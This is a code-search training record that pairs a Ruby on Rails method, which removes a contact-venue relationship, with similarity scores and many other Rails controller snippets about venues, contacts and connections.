"def create\n @venue = Venue.new(params[:venue])\n @venue.user_id = current_user.id\n\n respond_to do |format|\n if @venue.save\n format.html { redirect_to(@venue, :notice => 'Venue was successfully created.') }\n format.xml { render :xml => @venue, :status => :created, :location => @venue }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @venue.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @venue = Merchant.find(merchant_id).venues.new(venue_params)\n\n #respond_to do |format|\n if @venue.save\n flash[:success] = \"Venue successfully created!\"\n redirect_to @venue\n #format.html { redirect_to @venue, notice: 'Venue was successfully created.' }\n #format.json { render :show, status: :created, location: @venue }\n else\n flash[:error] = \"Failed to create venue!\"\n render 'new'\n #format.html { render :new }\n #format.json { render json: @venue.errors, status: :unprocessable_entity }\n #end\n end\n end",
"def create\n\n @venue = Venue.create_with(params[:venue].permit(:lat,:lng)).find_or_create_by(params[:venue].permit(:place_id))\n \n respond_to do |format|\n if @venue.save\n format.html { redirect_to venues_path}\n format.json { render json: @venue, status: :created }\n end\n end\n\n end",
"def create\n if params[\"foursq_id\"]\n @foursq_venue = foursquare.venues.find(params[\"foursq_id\"])\n @venue = Venue.new_from_4sq(@foursq_venue)\n else\n @venue = Venue.new(params[:venue])\n end\n\n respond_to do |format|\n if @venue.save\n format.html { redirect_to @venue, notice: 'Venue was successfully created.' }\n format.json { render json: @venue, status: :created, location: @venue }\n else\n format.html { render action: \"new\" }\n format.json { render json: @venue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def accept\n Connection.accept(person_id, contact_id)\n end",
"def set_venue\n @venue = Venue.friendly.find(params[:id]).decorate\n end",
"def create\n #create venues trought users controller\n end",
"def connect \\\n config,\n blurb,\n options: nil,\n &block\n request = {\n config: config,\n blurb: blurb\n }.delete_if { |_, v| v.nil? }\n request = Google::Gax.to_proto request, Google::Showcase::V1alpha3::ConnectRequest\n @connect.call(request, options, &block)\n end",
"def create\n @venue = Venue.new(venue_params)\n\n respond_to do |format|\n if @venue.save\n format.html { redirect_to @venue, notice: 'Venue was successfully created.' }\n format.json { render :show, status: :created, location: @venue }\n else\n format.html { render :new }\n format.json { render json: @venue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @venue = Venue.new(venue_params)\n\n respond_to do |format|\n if @venue.save\n format.html { redirect_to @venue, notice: 'Venue was successfully created.' }\n format.json { render :show, status: :created, location: @venue }\n else\n format.html { render :new }\n format.json { render json: @venue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_venue\n @venue = Venue.includes(:seats).find(params[:id])\n end",
"def create\n @venue = Venue.new(params[:venue])\n\n respond_to do |format|\n if @venue.save\n flash[:notice] = 'Venue was successfully created.'\n format.html { redirect_to(@venue) }\n format.xml { render :xml => @venue, :status => :created, :location => @venue }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @venue.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @venue = Venue.new(venue_params)\n\n respond_to do |format|\n if @venue.save\n format.html { redirect_to @venue, notice: 'Venue was successfully created.' }\n format.json { render action: 'show', status: :created, location: @venue }\n else\n format.html { render action: 'new' }\n format.json { render json: @venue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @venue = Venue.new(venue_params)\n\n respond_to do |format|\n if @venue.save\n format.html { redirect_to @venue, notice: 'Venue was successfully created.' }\n format.json { render :show, status: :created, location: @venue }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @venue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @venue = Venue.new(venue_params)\n\n if @venue.save\n render json: @venue, status: :created, location: @venue\n else\n render json: {errors: @venue.errors}, status: :unprocessable_entity\n end\n end",
"def create\n @venue = Venue.new(venue_params)\n\n respond_to do |format|\n if @venue.save\n format.html { redirect_to @venue, notice: 'Venue was successfully created.' }\n format.json { render json: @venue, status: :created, location: @venue }\n else\n format.html { render action: \"new\" }\n format.json { render json: @venue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_venue\r\n if request.post?\r\n @venue = Venue.new(params[:venue])\r\n if @venue.save \r\n redirect_to :controller => 'agents', :action => 'index'\r\n else\r\n render :action => 'create_venue'\r\n end\r\n else\r\n @venue = Venue.new\r\n @venue.country = User.find(session[:user_id]).country\r\n @venue.county = User.find(session[:user_id]).county\r\n @venue.city = User.find(session[:user_id]).city\r\n @venue.postcode = User.find(session[:user_id]).postcode \r\n end\r\n end",
"def create\n @venue = Venue.new(params[:venue])\n\n respond_to do |format|\n if @venue.save\n current_user.venues << @venue\n current_user.save\n format.html { redirect_to(@venue, :notice => 'Venue was successfully created.') }\n format.xml { render :xml => @venue, :status => :created, :location => @venue }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @venue.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @place = Venue.new(params[:venue])\n\n respond_to do |format|\n if @place.save\n format.html { redirect_to @place, notice: 'Venue.was successfully created.' }\n format.json { render json: @place, status: :created, location: @place }\n else\n format.html { render action: \"new\" }\n format.json { render json: @place.errors, status: :unprocessable_entity }\n end\n end\n end",
"def accept\n Connection.accept(user_id, contact_id)\n end",
"def create\n @venue = Venue.new(venue_params)\n @venue.owner = current_user\n if params[:use_as_venue_for_event]\n @event = Event.find_by_uuid(params[:use_as_venue_for_event])\n @venue.owner = @event.host if admin_session? #admin acting on behalf of event host\n end\n respond_to do |format|\n if @venue.save\n @event.update_attribute(:venue, @venue) unless @event.blank?\n format.js { render :refresh_venues_select }\n format.html { redirect_to @venue, notice: 'Venue was successfully created.' }\n format.json { render json: @venue, status: :created, location: @venue }\n else\n format.js { render :json => { :errors => @venue.errors.full_messages, :message => \"Problem creating new venue\" }, :status => :unprocessable_entity }\n format.html { render action: \"new\" }\n format.json { render json: @venue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def propose_venue_edit venue_id, options={}\n response = post(\"/venues/#{venue_id}\", options)\n end",
"def create\n @manage_venue = Venue.new(params[:manage_venue])\n\n respond_to do |format|\n if @manage_venue.save\n format.html { redirect_to @manage_venue, notice: 'Venue was successfully created.' }\n format.json { render json: @manage_venue, status: :created, location: @manage_venue }\n else\n format.html { render action: \"new\" }\n format.json { render json: @manage_venue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def venue_params\n params.require(:venue).permit(:name, :street, :zipcode, :photo, :neighbourhood, :bio,\n :phone, :address_2, :contact_number)\n end",
"def contact; end",
"def locate!\n if foursquare_venue_id\n locate_via_foursquare!\n else\n locate_via_coords!\n end\n end",
"def set_venuecategory\n @venuecategory = Venuecategory.find(params[:id])\n end",
"def new_contact\n @contact = Spree::Address.new\n end",
"def venue_params\n params.require(:venue).permit(:name, :address, :postcode, :latitude, :longitude, :web, :telephone, :email)\n end",
"def venue_params\n params.require(:venue).permit(:name, :phone, :email, :contact_name, \n :description, :aasm_state, :hours, :happy_hours, :full_street_address)\n end",
"def create\n @venue_address = VenueAddress.new(venue_address_params)\n\n respond_to do |format|\n if @venue_address.save\n format.html { redirect_to @venue_address, notice: 'Venue address was successfully created.' }\n format.json { render :show, status: :created, location: @venue_address }\n else\n format.html { render :new }\n format.json { render json: @venue_address.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n venue = Venue.find_by_venue_name(params[:venue_name])\n if current_user.venues.include?(venue)\n received = params[:offer]\n received[:venue_id] = venue.id\n @offer = Offer.new(received)\n\n respond_to do |format|\n if @offer.save\n format.html { redirect_to @offer, notice: 'Offer was successfully created.' }\n format.json { render json: @offer, status: :created, location: @offer }\n else\n @venue_names = current_user.venues.pluck(:venue_name)\n format.html { render action: \"new\" }\n format.json { render json: @offer.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_to new_offer_path\n end\n end",
"def create\n @venue = Venue.find(params[:venue_id])\n @tour = Tour.new(params[:tour])\n @tour.venue = @venue\n\n respond_to do |format|\n if @tour.save\n format.html { redirect_to venue_path(@venue), notice: 'Tour was successfully created.' }\n format.json { render json: @tour, status: :created, location: @tour }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tour.errors, status: :unprocessable_entity }\n end\n end\n end",
"def venue_params\n params.require(:venue).permit(:city_id, :address_line_1, :address_line_2, :city, :market_id, :state_province, :name, :about, :image, :twitter_url, :facebook_url, :instagram_url, :youtube_url, :snapchat_url, :website_url, :address, :latitude, :longitude, :url_slug)\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def contact\n end",
"def update_connection(from_vertex_id, to_vertex_id)\n # use both ids and hope for the best it woks out on .save\n if from_vertex_id.nil? || to_vertex_id.nil?\n render json: { status: 'FAILED', message: 'Ensure correct parameters are given' }, status: :bad_request\n else\n req = ConnectVerticesRequest.new(from_vertex_id, to_vertex_id)\n serv = RoomServices.new\n resp = serv.connect_vertex(req)\n\n unless resp.success\n render json: { status: 'FAILED', message: 'Could not connect vertex', data: resp }, status: :ok\n return\n end\n\n render json: { status: 'SUCCESS', message: 'Vertex connection updates', data: resp }, status: :ok\n end\n rescue StandardError\n render json: { status: 'FAILED', message: 'Internal Error' }, status: :bad_request\n end",
"def create\n # get the foursquare venue id\n fsvid = params[:itinerary][:venue_id]\n\n foursquare_connect\n \n # get the venue's information from foursquare\n response = @client.venues.find(fsvid)\n \n # prep the data for being sent to google\n street_address = response.location.address.gsub(' ', '+')\n city = response.location.city.gsub(' ', '+')\n state = response.location.state.gsub(' ', '+')\n \n # get a response from google\n unformatted_response = Net::HTTP.get_response(\"maps.googleapis.com\", \"/maps/api/geocode/json?address=#{street_address},+#{city},+#{state}&sensor=false\")\n # convert the response to JSON\n info = ActiveSupport::JSON.decode(unformatted_response.body)\n \n if info['status'] == \"OK\" # pull data only if the data is there to be pulled\n latitude = info.results[0].geometry.location.lat\n longitude = info.results[0].geometry.location.lng\n end\n \n # try to find if this venue exists\n venue = Venue.where(:fsvid => fsvid)\n unless venue.exists? # skip if venue already exists\n # create a new venue with many null values\n newvenue = Venue.create(:fsvid => fsvid, :latitude => latitude, :longitude => longitude)\n if newvenue.save # successfully saved\n venue = Venue.where(:fsvid => fsvid)\n else # there was an error\n respond_to do |format|\n format.html { render :action => \"new\" }\n end\n end\n end\n \n # set the itinerarie's venue_id to either the venue that was found with the appropriate\n # foursquare venue_id or the newly created one -- overwrite the fsvid value\n \n params[:itinerary][:venue_id] = venue[0].id \n params[:itinerary][:start_date] = DateTime.strptime(params[:itinerary][:start_date], \"%Y-%m-%d %H:%M:%S\")\n \n # finally create the itinerary\n @itinerary = current_user.itineraries.create(params[:itinerary])\n\n respond_to do |format|\n if @itinerary.save\n @itinerary.plans[0].update_attribute(:parent_id, current_user.id)\n format.html { redirect_to(new_itinerary_invite_path(@itinerary), :notice => 'Itinerary was successfully created.') }\n format.xml { render :xml => new_itinerary_invite_path(@itinerary), :status => :created, :location => @itinerary }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @itinerary.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @room = Room.new(room_params)\n @room = @venue.rooms.new(room_params)\n\n if @room.save\n redirect_to venue_rooms_path\n else\n render :action => 'new'\n end\n end",
"def perform(place)\n client = Foursquare2::Client.new(\n oauth_token: place.user.oauth_token,\n api_version: Places::Application::FOURSQUARE_API_VERSION\n )\n\n place.foursquare_venue_url =\n client.venue(place.foursquare_venue_id)['shortUrl']\n place.save\n end",
"def venue_params\n params.require(:venue).permit(:title, :name, :phone, :email, :url, :LinkAlt, :address, :postcode, :image, :image_cache, :image_alt, :content)\n end",
"def set_venue_type\n @venue_type = VenueType.find(params[:id])\n end",
"def test_avenue_connection\r\n\t\thillman = Location::new(\"Hillman\", nil , \"Fifth Ave.\")\r\n\t\tassert_equal \"Fifth Ave.\", hillman.avenue\r\n\t\r\n\tend",
"def create\n @paper_venue = PaperVenue.new(params[:paper_venue])\n\n respond_to do |format|\n if @paper_venue.save\n format.html { redirect_to @paper_venue, :notice => 'Paper venue was successfully created.' }\n format.json { render :json => @paper_venue, :status => :created, :location => @paper_venue }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @paper_venue.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def contact\n\n end",
"def contact\n\n end",
"def venues(options = {})\n self.class.require_latitude_and_longitude(options)\n\n response = self.class.get(\"/venues.json\", :query => options, :basic_auth => @auth)[\"venues\"]\n response && response.flatten\n end",
"def add(name, venue_id, category_id, start_date, optionals = {})\n post optionals.merge(\n :name => name,\n :venue_id => venue_id,\n :category_id => category_id,\n :start_date => start_date\n )\n end",
"def correlate\n return unless self.address.present?\n #addr = find_st_address\n self.address.squeeze!(\" \")\n self.address.strip!\n addr = self.address_correlate\n if r = find_resident\n if !r.address?\n r.address = self.address\n end\n\n if !r.street_address?\n r.street_address = addr\n end\n\n if !r.email?\n r.email = self.email\n end\n\n r.user = self\n r.add_tags(Array(\"Status: Joined CP\"))\n r.save\n else\n r = Resident.create(\n :community => self.community,\n :first_name => self.first_name,\n :last_name => self.last_name,\n :address => self.address,\n :email => self.email,\n :street_address => addr,\n :user => self,\n :community_id => self.community_id)\n\n r.add_tags(Array(\"Status: Joined CP\"))\n r.save\n end\n end",
"def venue_params\n params.require(:venue).permit(:name, :address)\n end",
"def create_new_venue\n\n # this is to help with the phase out of old code\n return true if self.now_version && self.now_version > 1\n\n #done to do this before validation and before save\n return true unless new?\n #special case if the photo has no venue..\n unless self.fs_venue_id == \"novenue\" #venue for \"novenue\" photos\n #first verify if there is a corresponding ig_venue_id. if not will not validate and not create\n ig_venue_id = nil\n ig_venue_id = self.ig_venue.id unless self.ig_venue.nil?\n unless ig_venue_id.nil?\n self.ig_venue_id = ig_venue_id\n venue = self.fs_venue\n #venue can have many categories, array of jsons\n categories = []\n unless venue.categories.empty?\n venue.categories.each do |category|\n categories << category.json\n end\n self.categories = categories\n end\n self.name = venue.name\n #coordinates in mongodb is inverted, [lng, lat]\n self.coordinates = [venue.location[\"lng\"], venue.location[\"lat\"]]\n #if venue doesnt have an address, add it with geocoder?\n self.address = venue.location.json unless venue.location.nil?\n self.neighborhood = self.find_neighborhood\n self.city = Venue.new.find_city(self.coordinates[1], self.coordinates[0])\n #self.fetch_ig_photos\n end\n end\n end",
"def unconnect\n relationship = ContactVenueRelationship.find_by(contact_id: id,\n venue_id: venue.id)\n relationship.destroy\n end",
"def create\n user_type = current_user ? \"user\" : \"alien\"\n status = user_type == \"user\" ? \"complete\" : \"uncomplete\"\n @venue = Venue.new(venue_params.merge(c_user: current_user, form_step: user_type, status: status))\n \n respond_to do |format|\n if @venue.save\n # @venue.event_types << params[:category]\n @venue.category_ids=(params[:category]) unless params[:category].empty? or params[:category].nil?\n format.html { \n redirect_to (user_type == \"alien\") ? venue_created_venues_path : @venue, \n notice: 'Venue was successfully created.' }\n format.json { render :show, status: :created, location: @venue }\n else\n format.html { render :new }\n format.json { render json: @venue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @venue_config = VenueConfig.new(params[:venue_config])\n @venue_config.current_user = current_user\n\n respond_to do |format|\n if @venue_config.save\n flash[:notice] = 'VenueConfig was successfully created.'\n format.html { redirect_to(venue_config_url(@venue_config.id)) }\n format.xml { render :xml => @venue_config, :status => :created, :location => venue_config_url(@venue_config.id) + \".xml\" }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @venue_config.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create \n @venue = Venue.new(params[:venue])\n\n @venue.type = session[:venue_type]\n\n respond_to do |format|\n if @venue.save\n format.html { redirect_to(@venue, :notice => 'Venue was successfully created.') }\n format.xml { render :xml => @venue, :status => :created, :location => @venue }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @venue.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def venue_params\n params.require(:venue).permit(:name, :street, :zip, :city)\n end",
"def accept\n Connection.accept(dog_id, contact_id)\n end",
"def set_foursquare_venue_url\n PlaceCreationJob.perform_later(self)\n end",
"def contact \n\n end",
"def initialize(venue, date)\n\t\t@venue = venue\n\t\t@date = date\n\tend",
"def connect!\n app.speakers.ID(@id).connect_to\n connected?\n end",
"def contact\n # STUB\n end",
"def new\n @venue = Venue.new\n @venue.build_location\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @venue }\n end\n end"
] |
[
"0.60933495",
"0.60933495",
"0.60933495",
"0.60933495",
"0.60933495",
"0.60421574",
"0.6031163",
"0.6031163",
"0.59471613",
"0.59471613",
"0.59378403",
"0.59378403",
"0.59378403",
"0.59378403",
"0.58844155",
"0.58124757",
"0.58124757",
"0.5761003",
"0.5761003",
"0.56730825",
"0.5668668",
"0.5666119",
"0.5604744",
"0.5585966",
"0.5542239",
"0.5513753",
"0.550067",
"0.5492393",
"0.5490917",
"0.5490262",
"0.54308814",
"0.5428561",
"0.541581",
"0.5407565",
"0.5407565",
"0.540325",
"0.53692627",
"0.5365396",
"0.53540754",
"0.53520066",
"0.5339496",
"0.53310496",
"0.53081053",
"0.5283561",
"0.52682096",
"0.5251679",
"0.52441764",
"0.5229661",
"0.5221652",
"0.5206562",
"0.5205074",
"0.51960427",
"0.5167804",
"0.5151312",
"0.51404077",
"0.5139563",
"0.5133509",
"0.51261073",
"0.51253295",
"0.5124157",
"0.5124157",
"0.5124157",
"0.5124157",
"0.5124157",
"0.5124157",
"0.5124157",
"0.5124157",
"0.5124157",
"0.5124157",
"0.5124157",
"0.5124157",
"0.5124157",
"0.5124157",
"0.5100702",
"0.50962126",
"0.5093274",
"0.50733507",
"0.506797",
"0.50667506",
"0.50579435",
"0.5044856",
"0.50400543",
"0.50400543",
"0.503461",
"0.50330603",
"0.501733",
"0.501162",
"0.5010943",
"0.50046855",
"0.5003208",
"0.50007015",
"0.49962047",
"0.49939218",
"0.49855146",
"0.49833137",
"0.49682066",
"0.4944722",
"0.4936485",
"0.49353468",
"0.49221224"
] |
0.8409064
|
0
|
Unconnects the contact and a venue.
|
def unconnect
relationship = ContactVenueRelationship.find_by(contact_id: id,
venue_id: venue.id)
relationship.destroy
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def unfollow(user, contact)\n destroy(conn(user, contact))\n other_connection = conn(contact, user)\n if !other_connection.nil?\n if other_connection.status == ACCEPTED\n other_connection.status = PENDING\n other_connection.save\n elsif other_connection.status == REQUESTED\n destroy(other_connection)\n end\n end\n end",
"def dissolve(user, contact)\n transaction do\n destroy(conn(user, contact))\n destroy(conn(contact, user))\n end\n end",
"def unbind\n puts \"connection #{@connection.id.to_s} unbound\"\n begin\n unless !@registered\n self.unregister(@user.uuid)\n $ws_notifier.call(\"#{@user.uuid} just left the server\",\"disconnection\")\n else\n puts \"Never registered. So don't try to kill connection data\"\n end\n rescue\n puts \"Error (unbind). Couldn't delete from hash\"\n end\n puts \"Person is no longer connected\"\n end",
"def breakup(person, contact)\n transaction do\n destroy(conn(person, contact))\n destroy(conn(contact, person))\n end\n end",
"def unconnect(args)\n raise ArgumentError, \"No object given.\" if !args[\"object\"]\n object = args[\"object\"].to_sym\n raise ArgumentError, \"Object doesnt exist: '#{object}'.\" if !@callbacks.key?(object)\n\n if args[\"conn_id\"]\n conn_ids = [args[\"conn_id\"]]\n elsif args[\"conn_ids\"]\n conn_ids = args[\"conn_ids\"]\n else\n raise ArgumentError, \"Could not figure out connection IDs.\"\n end\n\n conn_ids.each do |conn_id|\n raise Errno::ENOENT, \"Conn ID doest exist: '#{conn_id}' (#{args}).\" if !@callbacks[object].key?(conn_id)\n @callbacks[object].delete(conn_id)\n end\n end",
"def unbridge bridge_id\n post \"bridges/#{bridge_id}\", {callIds: []}\n\n nil\n end",
"def unsubscribe; end",
"def breakup(dog, contact)\n transaction do\n destroy(conn(dog, contact))\n destroy(conn(contact, dog))\n end\n end",
"def unbind\n puts \"Connection terminated #{@my_connection_index}) #{@my_address} - #{@signature}\"\n\n pp self.inspect if error?\n\n # TODO: Remove connection from $connection_list\n end",
"def destroy\n #delete venues trought users controller\n end",
"def disconnect_via(edge)\n @in_edges.delete(edge)\n @out_edges.delete(edge)\n\n nil\n end",
"def unsubscribe\n @conn.send_data :opcode => UNSUBSCRIBE, :channel => @name\n end",
"def unref\n UV.unref(@pointer)\n\n self\n end",
"def unref\n UV.unref(@pointer)\n\n self\n end",
"def unsubscribe()\n \n end",
"def disconnect(signal=nil, endpoint=nil)\n purge_connections(connections, signal, endpoint)\n end",
"def destroy\n if VenueService.allow_delete(@venue.id)\n @venue.destroy\n flash[:success] = \"Venue deleted!\"\n redirect_to venues_path\n else\n flash[:error] = \"Venue cannot be deleted as there is a deal that is only associated with this venue. Please delete the deal first or contact Burpple admin for help\"\n redirect_to venues_path\n end\n end",
"def unref\n UV.unref(@handle)\n end",
"def unfriend(actor)\n unfollow(actor)\n actor.unfollow(self) if ActsAsActivityStream.sns_type == :custom\n end",
"def destroy\n @referral_contact.destroy\n end",
"def unbind\n @conn_obj.unbind\n end",
"def unlink(contact)\n contact.accounts.delete(self)\n contact.lists = contact.lists.reject{|l|l.account == self}\n if contact.owner == self\n contact.owner = nil\n contact.cached_owner = nil\n end\n contact.save\n end",
"def unsubscribe_plan\n proxies.delete(remote_plan)\n subscriptions.delete(remote_plan)\n if connected?\n call(:removed_sibling, @remote_plan, connection_space.plan.remote_id)\n end\n end",
"def unsubscribe_from_channel; end",
"def unlink_contact(_contact)\n _rc = false\n if self.contacts.detect { |c| c._id ==_contact._id }\n _facility = self.facilities.any_in(consumer_ids: [_contact._id]).first\n if _facility\n _facility.delete_or_remove_consumer(_contact)\n self.save!\n @contacts = nil\n _rc = true\n end\n end\n if self.reverse_contacts.detect { |c| c._id ==_contact._id }\n _facility = _contact.facilities.any_in(consumer_ids: [self._id]).first\n if _facility\n _facility.delete_or_remove_consumer(self)\n _contact.save!\n @reverse_contacts = nil\n _contact\n _rc = true\n end\n end\n _rc\n end",
"def unsubscribe(&blk)\n pres = connection.presence_stanza('to'=>jid.bare, 'type' => 'unsubscribe')\n connection.send_stanza pres, &blk\n end",
"def unsubscribe()\n end",
"def unsubscribe\n end",
"def deregister_tunnel_connection(connection)\n @tunnel_connections.delete connection.connection_id\n control_connection = connection.control_connection\n @tunnel_connections_by_control[control_connection].delete connection\n end",
"def unsubscribe(*args)\n (@client ||= connect).unsubscribe(*args)\n end",
"def disconnect(edge)\n #adj_v.delete(vertex)\n in_edges.delete(edge)\n end",
"def unpin(connection = nil)\n @pinned_server = nil\n @pinned_connection_global_id = nil\n connection.unpin unless connection.nil?\n end",
"def unfollow(actor)\n contact = contact_to!(actor)\n contact.update_column(:blocked, true)\n contact\n end",
"def unplug!\n return self unless exist?\n ole.Delete\n self\n end",
"def unjoin(p1, p2, whence = nil)\n p1.remove(p2)\n p2.remove(p1)\n end",
"def remove_contact(contact)\n @contacts.delete(contact)\n end",
"def unsubscribe\n unregister\n end",
"def remove_connectionPoint! s\n _log { \"remove_connectionPoint! #{s.inspect}\" }\n\n @ownedMember.delete(s) # ownedElement?!?!\n @connectionPoint.delete(s)\n s.state = nil\n\n # Notify.\n s.connectionPoint_removed! self\n\n self\n end",
"def destroy\n Segment.find_by_guid(source.guid).destroy if source && Segment.find_by_guid(source.guid)\n Segment.find_by_guid(target.guid).destroy if target && Segment.find_by_guid(target.guid)\n successors.each {|successor| NetworkConnection.find_by_guid(successor.guid).destroy if successor}\n super\n end",
"def un_merge\n Contact.transaction do\n self.parents.each do |contact|\n contact.update_attribute('merged_to_form_contact_id', 0)\n if contact.contact_type == Constants::CONTACT_TYPE::PROSPECT\n ContactProspect.update_all(\"prospect_old_id = NULL, prospect_id = #{contact.id}\", \"prospect_old_id = #{contact.id}\")\n else\n ContactProspect.update_all(\"contact_old_id = NULL, contact_id = #{contact.id}\", \"contact_old_id = #{contact.id}\")\n end\n end\n self.emails.clear\n self.sources.clear\n self.contact_metas.clear\n self.destroy_shares\n self.destroy\n\n end\n end",
"def remove_connection\n flash[:notice] = I18n.t(:remove_social_connection)\n\t Authentication.remove_conn(current_gamer.id, params[:provider])\n\t redirect_to \"/gamers/edit\"\n\tend",
"def unbind\n @player.logout if @player\n @player = nil\n @connector = nil\n end",
"def unbind\n @player.logout if @player\n @player = nil\n @connector = nil\n end",
"def unsubscribe(course)\n subscribeds.delete(course)\n end",
"def remove(conn)\n @connections.delete conn\n @available.delete conn\n\n release conn.owner\n\n @available.add checkout_new_connection if @available.any_waiting?\n end",
"def unsubscribe\n CampaignMonitorWrapper.unsubscribe(user.email)\n end",
"def unbind\n @connected = false\n @network.disconnected!\n\n super\n end",
"def remove_connection\n\n\t\t# Set A and B\n\t\ta = self.current_user.id\n\t\tb = params[:user_id]\n\n\t\t# Delete both A -> B and B -> A (If we missed any duplicated records)\n\t\tConnection.where('(`owned_by` = ? && `user_id` = ?) || (`user_id` = ? && `owned_by` = ?)', a, b, a, b).each do |x|\n\t\t\tx.destroy\n\t\tend\n\t\t\n\t\t# Return to my connections\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to :my_connections }\n\t\tend\n\tend",
"def removeBuddy(contact)\n \n unless SocialStream::Presence.enable\n return\n end\n \n unless contact.receiver.subject_type == \"User\" and contact.sender.subject_type == \"User\"\n return\n end\n \n #XMPP DOMAIN\n domain = SocialStream::Presence.domain\n user_sid = contact.sender.slug + \"@\" + domain\n user_name = contact.sender.name \n buddy_sid = contact.receiver.slug + \"@\" + domain\n buddy_name = contact.receiver.name\n \n #Check for bidirecctional\n \n if contact.sender.contact_actors(:type=>:user).include?(contact.receiver)\n #Bidirectional contacts\n #Execute unsetRosterForBidirectionalTie(user_sid,oldfriend_sid,oldfriendNick,oldfriendGroup)\n SocialStream::Presence::XmppServerOrder::unsetRosterForBidirectionalTie(buddy_sid,user_sid,user_name,\"SocialStream\")\n elsif contact.sender.contact_actors(:type=>:user, :direction=>:sent).include?(contact.receiver)\n #Unidirectional contacts\n SocialStream::Presence::XmppServerOrder::removeBuddyFromRoster(user_sid,buddy_sid)\n end\n \n end",
"def unsubscribe(source)\n #TODO\n end",
"def unsubscribe\n @entry.subscribers.delete(current_user)\n end",
"def remove_connection(resource, connection)\n @data['powerConnections'].reject! do |conn|\n conn['connectionUri'] == resource['uri'] && conn['deviceConnection'] == connection\n end\n end",
"def destroy\n @venue = Venue.find(params[:id])\n @venue.destroy\n\n head :no_content\n end",
"def destroy\n if @origin\n @origin.remove_exit(self)\n @origin = nil\n end\n if @destination\n @destination.remove_entrance(self)\n @destination = nil\n end\n super\n return\n end",
"def unfriend\n if relation = @user.friendships.find_by(friend_id: @friend.id)\n relation.destroy\n render json: { success: true }\n else\n render json: {message: relation.errors&.full_messages&.first}, status: 202\n end\n end",
"def unbind\n $dsock_list.delete self\n\n log :info, \"-- #{@player}:#{@addr}:#{@port} disconnected from CoralMUD!\"\n\n if @player\n @player.socket = nil if @player.socket == self\n\n if @player.in_room\n @player.in_room.display([:visual, \"other.can_see?(actor)\"], @player, [@player], \"<%=other.peek(actor)%> has lost their link.\")\n end\n end\n\n end",
"def unbind\n\t\tif @conn.bound?\n\t\t\told_conn = @conn\n\t\t\t@conn = old_conn.dup\n\t\t\told_conn.unbind\n\t\tend\n\tend",
"def destroy\n @venue.destroy\n flash[:notice] = 'Venue was successfully deleted.'\n redirect_to festival_locations_path(@festival)\n end",
"def nuke\n self.open_graph_event.destroy unless self.open_graph_event.nil?\n self.teamsheet_entries.destroy_all\n self.messages.destroy_all\n self.activity_items.destroy_all\n self.result.destroy unless self.result.nil?\n self.destroy\n end",
"def free\r\n @partner = nil\r\n end",
"def disconnecting(clientPort)\n remove_client( clientPort )\n super\n end",
"def unpublish\n if (@sa.ipv4)\n DNSUpdate.unpublish(@sa.target, Dnsruby::Types.A, @sa.ipv4)\n signal(:removed, Dnsruby::Types.A, @sa.ipv4)\n end\n if (@sa.ipv6)\n DNSUpdate.unpublish(@sa.target, Dnsruby::Types.AAAA, @sa.ipv6)\n signal(:removed, Dnsruby::Types.A, @sa.ipv6)\n end\n end",
"def remove_connectionPoint! s\n _log { \"remove_connectionPoint! #{s.inspect}\" }\n\n @connectionPoint.delete(s)\n s.state = nil\n\n # Notify.\n s.connectionPoint_removed! self\n\n self\n end",
"def unlink(other)\n self.class.graph.disjoin(vertex, other.vertex)\n end",
"def disconnect!\n @reserved_connections.clear\n @connections.each do |conn|\n checkin conn\n conn.disconnect!\n end\n @connections = []\n @available.clear\n end",
"def disconnect!\n @reserved_connections.each do |name,conn|\n checkin conn\n end\n @reserved_connections = {}\n @connections.each do |conn|\n conn.disconnect!\n end\n @connections = []\n end",
"def destroy\n @venue = Venue.find(params[:venue_id])\n @room = Room.find(params[:id])\n @room.destroy\n respond_to do |format|\n format.html { redirect_to venue_rooms_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @venue = Venue.find(params[:id])\n @venue.destroy\n\n respond_to do |format|\n format.html { redirect_to venues_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @venue = Venue.find(params[:id])\n @venue.destroy\n\n respond_to do |format|\n format.html { redirect_to venues_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @venue = Venue.find(params[:id])\n @venue.destroy\n\n respond_to do |format|\n format.html { redirect_to venues_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @venue = Venue.find(params[:id])\n @venue.destroy\n\n respond_to do |format|\n format.html { redirect_to venues_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @venue = Venue.find(params[:id])\n @venue.destroy\n\n respond_to do |format|\n format.html { redirect_to(venues_url) }\n format.xml { head :ok }\n end\n end",
